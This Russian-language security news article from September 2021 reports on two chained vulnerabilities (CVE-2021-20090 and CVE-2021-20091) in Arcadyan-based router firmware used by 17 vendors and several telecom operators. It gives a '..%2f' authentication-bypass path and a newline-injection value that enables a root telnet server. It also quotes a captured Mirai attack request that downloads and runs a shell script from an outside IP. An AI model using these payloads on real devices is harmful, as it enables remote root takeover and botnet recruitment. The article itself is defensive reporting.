24.09.2021

Уязвимость в домашних маршрутизаторах, охватывающая 17 производителей

В сети зафиксирована массовая атака на домашние маршрутизаторы, в прошивках которых используется реализация http-сервера от компании Arcadyan. Для получения управления над устройствами применяется сочетание двух уязвимостей, позволяющих удалённо выполнить произвольный код с правами root. Проблема затрагивает достаточно большой спектр ADSL-маршрутизаторов от компаний Arcadyan, ASUS и Buffalo, а также устройств, поставляемых под брендами Билайн (проблема подтверждена в Smart Box Flash), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone и других операторов связи. Отмечается, что проблема присутствует в прошивках Arcadyan уже более 10 лет и за это время успела перекочевать как минимум в 20 моделей устройств от 17 различных производителей.

Первая уязвимость CVE-2021-20090 даёт возможность обратиться к любому скрипту web-интерфейса без прохождения аутентификации. Суть уязвимость в том, что в web-интерфейсе некоторые каталоги, через которые отдаются картинки, CSS-файлы и сценарии JavaScript, доступны без аутентификации. При этом проверка каталогов, для которых разрешён доступ без аутентификации выполняется по начальной маске. Указание в путях символов «../» для перехода в родительский каталог блокируется прошивкой, но использование комбинации «..%2f» пропускается. Таким образом, имеется возможность открытия защищённых страниц при отправке запросов, подобных «http://192.168.1.1/images/..%2findex.htm».

Вторая уязвимость CVE-2021-20091 позволяет аутентифицированному пользователю внести изменения в системные настройки устройства через отправку специально оформленных параметров скрипту apply_abstract.cgi, который не осуществляет проверку наличия символа перевода строки в параметрах. Например, атакующий может при выполнении операции ping указать в поле с проверяемым IP-адресом значение «192.168.1.2%0AARC_SYS_TelnetdEnable=1» и скрипт при создании файла с настройками /tmp/etc/config/.glbcfg запишет в него строку «AARC_SYS_TelnetdEnable=1», которая активирует сервер telnetd, предоставляющий неограниченный доступ в командную оболочку с правами root. Аналогично при помощи установки параметра AARC_SYS можно выполнить любой код в системе. Первая уязвимость даёт возможность запустить проблемный скрипт без аутенитификации, обратившись к нему как «/images/..%2fapply_abstract.cgi».

Для эксплуатации уязвимостей у атакующего должна быть возможность отправки запроса на сетевой порт, на которым выполняется web-интерфейс. Судя по динамике распространения атаки многие операторы оставляют на своих устройствах доступ из внешней сети для упрощения диагностики проблем службой поддержки. При ограничени доступа к интерфейсу только для внутренней сети атака может быть совершена из внешней сети при помощи техники «DNS rebinding«. Уязвимости уже активно используются для подключения маршрутизаторов к ботнету Mirai:

 POST /images/..%2fapply_abstract.cgi HTTP/1.1 Connection: close User-Agent: Dark action=start_ping&submit_button=ping.html& action_params=blink_time%3D5&ARC_ping_ipaddress=212.192.241.7%0A
ARC_SYS_TelnetdEnable=1& %0AARC_SYS_=cd+/tmp; wget+http://212.192.241.72/lolol.sh; curl+-O+http://212.192.241.72/lolol.sh; chmod+777+lolol.sh; sh+lolol.sh&ARC_ping_status=0&TMP_Ping_Type=4 

Источник.